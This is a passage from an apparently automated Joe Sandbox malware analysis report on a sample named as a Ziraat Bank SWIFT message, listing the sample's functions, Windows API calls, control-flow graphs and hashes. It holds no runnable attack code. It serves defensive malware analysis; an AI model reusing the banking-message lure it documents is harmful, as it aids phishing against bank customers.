                                                                        • API ID: Current$ProcessThread
                                                                        • String ID:
                                                                        • API String ID: 2063062207-0
                                                                        • Opcode ID: 55bacc33c1590d5a6f1d329d13fc3938f6f581e38d89887549fd7532d8f6432c
                                                                        • Instruction ID: 23aa6da7938824b192bc5816e6b18cca3456aa64546b0df57059b6d0ac7b2a80
                                                                        • Opcode Fuzzy Hash: 55bacc33c1590d5a6f1d329d13fc3938f6f581e38d89887549fd7532d8f6432c
                                                                        • Instruction Fuzzy Hash: F05162B49006498FDB18CFA9D588BEEBFF0FB88314F24845AE01AA7350DB746844CF65
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05492070 Relevance: 1.7, APIs: 1, Instructions: 192COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 542 5492070-5492085 call 5490af0 546 549209b-549209f 542->546 547 5492087 542->547 548 54920a1-54920ab 546->548 549 54920b3-54920f4 546->549 596 549208d call 54922e9 547->596 597 549208d call 54922f8 547->597 548->549 554 5492101-549210f 549->554 555 54920f6-54920fe 549->555 550 5492093-5492095 550->546 552 54921d0-5492290 550->552 591 5492298-54922c3 GetModuleHandleW 552->591 592 5492292-5492295 552->592 556 5492111-5492116 554->556 557 5492133-5492135 554->557 555->554 559 5492118-549211f call 5491cd4 556->559 560 5492121 556->560 561 5492138-549213f 557->561 562 5492123-5492131 559->562 560->562 564 549214c-5492153 561->564 565 5492141-5492149 561->565 562->561 568 5492160-5492169 call 5491ce4 564->568 569 5492155-549215d 564->569 565->564 573 549216b-5492173 568->573 574 5492176-549217b 568->574 569->568 573->574 576 5492199-549219d 574->576 577 549217d-5492184 574->577 598 54921a0 call 54925d0 576->598 599 54921a0 call 5492600 576->599 577->576 578 5492186-5492196 call 5491cf4 call 5491d04 577->578 578->576 581 54921a3-54921a6 584 54921c9-54921cf 581->584 585 54921a8-54921c6 581->585 585->584 593 54922cc-54922e0 591->593 594 54922c5-54922cb 591->594 592->591 594->593 596->550 597->550 598->581 599->581
                                                                        APIs
                                                                        • GetModuleHandleW.KERNELBASE(00000000), ref: 054922B6
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: HandleModule
                                                                        • String ID:
                                                                        • API String ID: 4139908857-0
                                                                        • Opcode ID: 7fd5d29d9d86963ada9dd5c313aeffa26f83a8198f933d5a77556457eaf0263b
                                                                        • Instruction ID: 6e276f08a0f6fe223014d867a7a5f4cc4a7a1a4406b5241ac04300533e5efc1a
                                                                        • Opcode Fuzzy Hash: 7fd5d29d9d86963ada9dd5c313aeffa26f83a8198f933d5a77556457eaf0263b
                                                                        • Instruction Fuzzy Hash: EE7125B4A04B059FDB28CF2AD145BABBBF1BF88204F00892ED54AD7B40D775E805CB91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 054989CD Relevance: 1.6, APIs: 1, Instructions: 114COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 600 54989cd-5498a3e 601 5498a49-5498a50 600->601 602 5498a40-5498a46 600->602 603 5498a5b-5498a93 601->603 604 5498a52-5498a58 601->604 602->601 605 5498a9b-5498afa CreateWindowExW 603->605 604->603 606 5498afc-5498b02 605->606 607 5498b03-5498b3b 605->607 606->607 611 5498b48 607->611 612 5498b3d-5498b40 607->612 613 5498b49 611->613 612->611 613->613
                                                                        APIs
                                                                        • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05498AEA
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: CreateWindow
                                                                        • String ID:
                                                                        • API String ID: 716092398-0
                                                                        • Opcode ID: 149bca26a9ebf1e2745babaf15f99468d5e241d98f1f8f9519c6cfe1c39d207d
                                                                        • Instruction ID: c554f9b6f0a217f42c1c92e832596f59ad4aabc4e9f7ccfec8b367447f1a7592
                                                                        • Opcode Fuzzy Hash: 149bca26a9ebf1e2745babaf15f99468d5e241d98f1f8f9519c6cfe1c39d207d
                                                                        • Instruction Fuzzy Hash: 7A51DFB1D00248DFDF14CFA9C884ADEBFB1BF48314F24852AE419AB210D7749845CF90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 054989D8 Relevance: 1.6, APIs: 1, Instructions: 113COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 614 54989d8-5498a3e 615 5498a49-5498a50 614->615 616 5498a40-5498a46 614->616 617 5498a5b-5498afa CreateWindowExW 615->617 618 5498a52-5498a58 615->618 616->615 620 5498afc-5498b02 617->620 621 5498b03-5498b3b 617->621 618->617 620->621 625 5498b48 621->625 626 5498b3d-5498b40 621->626 627 5498b49 625->627 626->625 627->627
                                                                        APIs
                                                                        • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05498AEA
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: CreateWindow
                                                                        • String ID:
                                                                        • API String ID: 716092398-0
                                                                        • Opcode ID: eb7d5582bc53ec1715ca208d4c4b6e46836592ac93e2b66f13ec6fe681cad935
                                                                        • Instruction ID: 8af9d3a3ed75b0e726ea44cd46c75429d66b83dd2bbe563b31af857c18af3fca
                                                                        • Opcode Fuzzy Hash: eb7d5582bc53ec1715ca208d4c4b6e46836592ac93e2b66f13ec6fe681cad935
                                                                        • Instruction Fuzzy Hash: 2C41AEB1D00209DFDF14CF9AC884ADEBFB5BF49314F24862AE419AB210D774A845CF91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0549870C Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 628 549870c-549afcc 631 549b07c-549b09c call 54985e4 628->631 632 549afd2-549afd7 628->632 639 549b09f-549b0ac 631->639 634 549afd9-549b010 632->634 635 549b02a-549b062 CallWindowProcW 632->635 641 549b019-549b028 634->641 642 549b012-549b018 634->642 637 549b06b-549b07a 635->637 638 549b064-549b06a 635->638 637->639 638->637 641->639 642->641
                                                                        APIs
                                                                        • CallWindowProcW.USER32(?,?,?,?,?), ref: 0549B051
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: CallProcWindow
                                                                        • String ID:
                                                                        • API String ID: 2714655100-0
                                                                        • Opcode ID: bee2d5786cdf631caf046a26b9da219461fcf95c521150dfb68df25928abf26d
                                                                        • Instruction ID: a6dd9a8abf60e4209fa8ca00bea1846a24f02bbcd989bdb816a57d1bca9371af
                                                                        • Opcode Fuzzy Hash: bee2d5786cdf631caf046a26b9da219461fcf95c521150dfb68df25928abf26d
                                                                        • Instruction Fuzzy Hash: D24167B4A04208CFCB18CF99C489FEABBF5FB88314F15844AE519A7321D735A841CFA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01746D25 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 662 1746d25-1746df1 CreateActCtxA 664 1746df3-1746df9 662->664 665 1746dfa-1746e54 662->665 664->665 672 1746e56-1746e59 665->672 673 1746e63-1746e67 665->673 672->673 674 1746e78 673->674 675 1746e69-1746e75 673->675 677 1746e79 674->677 675->674 677->677
                                                                        APIs
                                                                        • CreateActCtxA.KERNEL32(?), ref: 01746DE1
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: Create
                                                                        • String ID:
                                                                        • API String ID: 2289755597-0
                                                                        • Opcode ID: 3dff8a4a42723e57d70beebe1c79c8c453fca04f890189c687dbddebe54c16bf
                                                                        • Instruction ID: 41ca3851baf5cc20d894c466df8c3f010b08d757fa7b4da89b2d7f4725288f10
                                                                        • Opcode Fuzzy Hash: 3dff8a4a42723e57d70beebe1c79c8c453fca04f890189c687dbddebe54c16bf
                                                                        • Instruction Fuzzy Hash: 404112B1C00618CFDB24CFA9C884BDEFBB5BF49308F25806AD409AB254DB746946CF90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01745850 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 645 1745850-1746df1 CreateActCtxA 648 1746df3-1746df9 645->648 649 1746dfa-1746e54 645->649 648->649 656 1746e56-1746e59 649->656 657 1746e63-1746e67 649->657 656->657 658 1746e78 657->658 659 1746e69-1746e75 657->659 661 1746e79 658->661 659->658 661->661
                                                                        APIs
                                                                        • CreateActCtxA.KERNEL32(?), ref: 01746DE1
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: Create
                                                                        • String ID:
                                                                        • API String ID: 2289755597-0
                                                                        • Opcode ID: bcb5f62b8dfdb3ba231c5cc46d3a265949e4a8f73f558045e650d3e8a806da30
                                                                        • Instruction ID: bfabc9b3c42b1c001346669e7d75f97fca6cbcc07b179067efe4e988736cc02b
                                                                        • Opcode Fuzzy Hash: bcb5f62b8dfdb3ba231c5cc46d3a265949e4a8f73f558045e650d3e8a806da30
                                                                        • Instruction Fuzzy Hash: 9B41F2B1C0461CCBDB24DFA9C884BDEFBB5BF89304F25806AE409AB254DB756945CF90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05494592 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 678 5494592-5494593 679 5494598-549462c DuplicateHandle 678->679 680 549462e-5494634 679->680 681 5494635-5494652 679->681 680->681
                                                                        APIs
                                                                        • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0549461F
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DuplicateHandle
                                                                        • String ID:
                                                                        • API String ID: 3793708945-0
                                                                        • Opcode ID: 9e0c5427630806996227324ee3f6ecbf3b81a8eb2e7a745de2ec69e3158cd657
                                                                        • Instruction ID: 8cb7cecbdf5f0ebd15e382dcdbf4e673b73ad731ffeadb3fb705eb6a6add0da9
                                                                        • Opcode Fuzzy Hash: 9e0c5427630806996227324ee3f6ecbf3b81a8eb2e7a745de2ec69e3158cd657
                                                                        • Instruction Fuzzy Hash: 7821E0B5900248AFDF10CFA9D884ADEBFF8FB48324F14841AE915A3310D378A945CFA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05494598 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 684 5494598-549462c DuplicateHandle 685 549462e-5494634 684->685 686 5494635-5494652 684->686 685->686
                                                                        APIs
                                                                        • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0549461F
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DuplicateHandle
                                                                        • String ID:
                                                                        • API String ID: 3793708945-0
                                                                        • Opcode ID: d4aca816ba50eb1f62dd1ff0afb358c620a4151ca101fc37292bdc40008295cf
                                                                        • Instruction ID: 6b4b5f896aa72f326b004b830b2c462aacf2e8d0cd60bf564e766c4259d2f40b
                                                                        • Opcode Fuzzy Hash: d4aca816ba50eb1f62dd1ff0afb358c620a4151ca101fc37292bdc40008295cf
                                                                        • Instruction Fuzzy Hash: 8121B0B5901249AFDF10CFA9D884ADEBBF8FB48324F14841AE915A3310D378A955CFA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05491D30 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 689 5491d30-5492518 691 549251a-549251d 689->691 692 5492520-549254f LoadLibraryExW 689->692 691->692 693 5492558-5492575 692->693 694 5492551-5492557 692->694 694->693
                                                                        APIs
                                                                        • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,05492331,00000800,00000000,00000000), ref: 05492542
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: LibraryLoad
                                                                        • String ID:
                                                                        • API String ID: 1029625771-0
                                                                        • Opcode ID: b29698932db9c667552751fcc55eb2918a550403c131e277f8f9b493c4483798
                                                                        • Instruction ID: aef5f1b7e7ecd80017e5f28fb9d788af7c6546a23da210959bad2d80caa3aba0
                                                                        • Opcode Fuzzy Hash: b29698932db9c667552751fcc55eb2918a550403c131e277f8f9b493c4483798
                                                                        • Instruction Fuzzy Hash: 891114B69042499FCB14CF9AD488BDEFBF5EB58324F04842EE515A7600C3B5A945CFA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 054924DA Relevance: 1.6, APIs: 1, Instructions: 51libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,05492331,00000800,00000000,00000000), ref: 05492542
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: LibraryLoad
                                                                        • String ID:
                                                                        • API String ID: 1029625771-0
                                                                        • Opcode ID: 8ce3b6904cc98dbc55ede2363d50440bc49b0ca7db7b1d08dda29b472084d3e5
                                                                        • Instruction ID: a8bf1c905e6754e6cea6eafec0ef4b41f4a1b84ee7a659c7140b236e1fb3b67a
                                                                        • Opcode Fuzzy Hash: 8ce3b6904cc98dbc55ede2363d50440bc49b0ca7db7b1d08dda29b472084d3e5
                                                                        • Instruction Fuzzy Hash: E11123B6D042499FCB14CF9AD448BDEFBF4BB98324F04852EE415A7200C379A945CFA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05492250 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetModuleHandleW.KERNELBASE(00000000), ref: 054922B6
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: HandleModule
                                                                        • String ID:
                                                                        • API String ID: 4139908857-0
                                                                        • Opcode ID: 375024484d37b95fd9472c82dafba8895d6bd53c37d093f1d283c49e5dbfe81a
                                                                        • Instruction ID: ce7d0200cb1429e95fee608833d4a6104cad00a295d58e10942a4237907361bf
                                                                        • Opcode Fuzzy Hash: 375024484d37b95fd9472c82dafba8895d6bd53c37d093f1d283c49e5dbfe81a
                                                                        • Instruction Fuzzy Hash: A9110FBAC042499FCB14CF9AD444BDEFBF4AB88224F14855AD429B7600D378A945CFA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05498C18 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetWindowLongW.USER32(?,?,?), ref: 05498C7D
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: LongWindow
                                                                        • String ID:
                                                                        • API String ID: 1378638983-0
                                                                        • Opcode ID: 5d81e953edbe0e4a64f334d084121152fdb517881b5d5cc8b8ac6bed6a3427cf
                                                                        • Instruction ID: 488922b03b3bc6938ee44b9fe45296c591752bcf450ed3b99da241db559d4803
                                                                        • Opcode Fuzzy Hash: 5d81e953edbe0e4a64f334d084121152fdb517881b5d5cc8b8ac6bed6a3427cf
                                                                        • Instruction Fuzzy Hash: 3E11F2B58002089FDB10CF99D489BDFBBF8EB48324F14851AE955A3700D375A944CFA5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05FE31B4 Relevance: 1.5, APIs: 1, Instructions: 47timeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetTimer.USER32(?,01766190,?,?), ref: 05FE3B3D
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.336086235.0000000005FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FE0000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5fe0000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: Timer
                                                                        • String ID:
                                                                        • API String ID: 2870079774-0
                                                                        • Opcode ID: fa819aaea4136faca69a4a1458c36a0f453d2bbb2f75a7a3382f9b2139562ac9
                                                                        • Instruction ID: 75f5346ef819025faa381a37a897a8ec878e1a386df0206a84443bead4fcd0b2
                                                                        • Opcode Fuzzy Hash: fa819aaea4136faca69a4a1458c36a0f453d2bbb2f75a7a3382f9b2139562ac9
                                                                        • Instruction Fuzzy Hash: 2A1106B5800348DFCB10DF99D489BDEBBF8FB48324F148419E515A7240D379A944CFA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05498C20 Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetWindowLongW.USER32(?,?,?), ref: 05498C7D
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: LongWindow
                                                                        • String ID:
                                                                        • API String ID: 1378638983-0
                                                                        • Opcode ID: e33ffee3af657f2b6c531c0301f84b186092f15aec0d295e4c0812feaa1f53c9
                                                                        • Instruction ID: 828c859438b654f8afb13e5d4bc82c65c8f1471869d579fbfa1a62423a581cc9
                                                                        • Opcode Fuzzy Hash: e33ffee3af657f2b6c531c0301f84b186092f15aec0d295e4c0812feaa1f53c9
                                                                        • Instruction Fuzzy Hash: 191100B58002089FDB10CF99D489BDEBBF8EB88324F14851AE919A3700C374A944CFA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Non-executed Functions

                                                                        Function 01748759 Relevance: 3.9, Strings: 3, Instructions: 116COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ,v,{$UUUU$e
                                                                        • API String ID: 0-1149175448
                                                                        • Opcode ID: 626d1fae3e81da3dad75c24956276fda8691df79f74e8bcfce12b77da069ae12
                                                                        • Instruction ID: 7bc04c10f97dd129862b067e67ebde212792415f2b9741830d3b9083c88d6026
                                                                        • Opcode Fuzzy Hash: 626d1fae3e81da3dad75c24956276fda8691df79f74e8bcfce12b77da069ae12
                                                                        • Instruction Fuzzy Hash: 1A515D70E106288FEBA0CFADC984BCDBBF2AB48314F5485A5D118F7215D734AA86CF15
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05496E50 Relevance: .3, Instructions: 315COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 7d94d74b0c8f5ee4a31ab31ff6304497914ed2aee6ea83ab40c83e035b29f0d7
                                                                        • Instruction ID: 225fa5dfb5b15d1a43a90fedf1d234c4f00836a91f443bf63a12e6116c14133f
                                                                        • Opcode Fuzzy Hash: 7d94d74b0c8f5ee4a31ab31ff6304497914ed2aee6ea83ab40c83e035b29f0d7
                                                                        • Instruction Fuzzy Hash: E412C7F14117468AD330CF65E99858D3F61F7453B8B90C308D2A56BAF8D7B8164AEF84
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0549F0AF Relevance: .3, Instructions: 270COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 2f35d6d91cda9657851a7b8332d8c6e479680457f17ac2bc7bc31ecea89f17c0
                                                                        • Instruction ID: 3f3de6fb4b41836f52c6a1a9ec0488d0ac67560cc78a9f3484a21196054e4214
                                                                        • Opcode Fuzzy Hash: 2f35d6d91cda9657851a7b8332d8c6e479680457f17ac2bc7bc31ecea89f17c0
                                                                        • Instruction Fuzzy Hash: 22D1EB31D2060ADACB10EBB4D990A9DB771FF95300F518B9AD4497B224EF706EC9CB91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05495474 Relevance: .3, Instructions: 265COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 0900a52398b6661999f3d28bcaa07dd58ee006583266feb32f1f5c67b0d8e05e
                                                                        • Instruction ID: ef19fec4541934a9faba213738260296469b7d0ab304662a00f7fcdbdfb67339
                                                                        • Opcode Fuzzy Hash: 0900a52398b6661999f3d28bcaa07dd58ee006583266feb32f1f5c67b0d8e05e
                                                                        • Instruction Fuzzy Hash: E5A15F36E002198FCF19DFB5D8445DEBBB2FF85310B1585AAE906AB225EB31E905CF40
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0549F0C0 Relevance: .3, Instructions: 264COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 342f74bab7e73a8db6da28c7d6201e20cf72ffd7ab136ea2c7eba91463b01577
                                                                        • Instruction ID: bb1b86645f0c3e3ba6ef4be34c5df6dc9387a67ba15c60dea52c0c32f6194dbe
                                                                        • Opcode Fuzzy Hash: 342f74bab7e73a8db6da28c7d6201e20cf72ffd7ab136ea2c7eba91463b01577
                                                                        • Instruction Fuzzy Hash: ABD1F931D2060ADACB10EBB4D990A9DB771FF95300F518B9AD4497B220EF706EC9CB91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01740789 Relevance: .3, Instructions: 255COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6bd2a2592a7a13208ded1a98faac474134c965cf7fbd0e4e6c6e0628e94a31bf
                                                                        • Instruction ID: 44140a0ca1b46f7545c0ec404be47861a860a0daed543dd982445861c8663b2a
                                                                        • Opcode Fuzzy Hash: 6bd2a2592a7a13208ded1a98faac474134c965cf7fbd0e4e6c6e0628e94a31bf
                                                                        • Instruction Fuzzy Hash: BFC17475E006188FDB68CF6AC984AD9BBF2BF89300F14C0E9D509AB325DB315A81CF50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05496E40 Relevance: .2, Instructions: 220COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6874a8aa2c77d18729e2009437bb94bfdc8b84432376534e688720ef4b058da7
                                                                        • Instruction ID: 96d59a6a5017c8436f164152b015bc83be2681f367ac9e4399be509f1fa13e9a
                                                                        • Opcode Fuzzy Hash: 6874a8aa2c77d18729e2009437bb94bfdc8b84432376534e688720ef4b058da7
                                                                        • Instruction Fuzzy Hash: 6EC128B19117468BD730CF65E88858D3F61FB853B8F50C318D2616BAE8D7B4164AEF84
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05FEEEA2 Relevance: .2, Instructions: 168COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.336086235.0000000005FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FE0000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5fe0000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: ba88c79e7b98098a1a07f10ef97a3ce81dd5361cb3f21e8198d5670a5f5616df
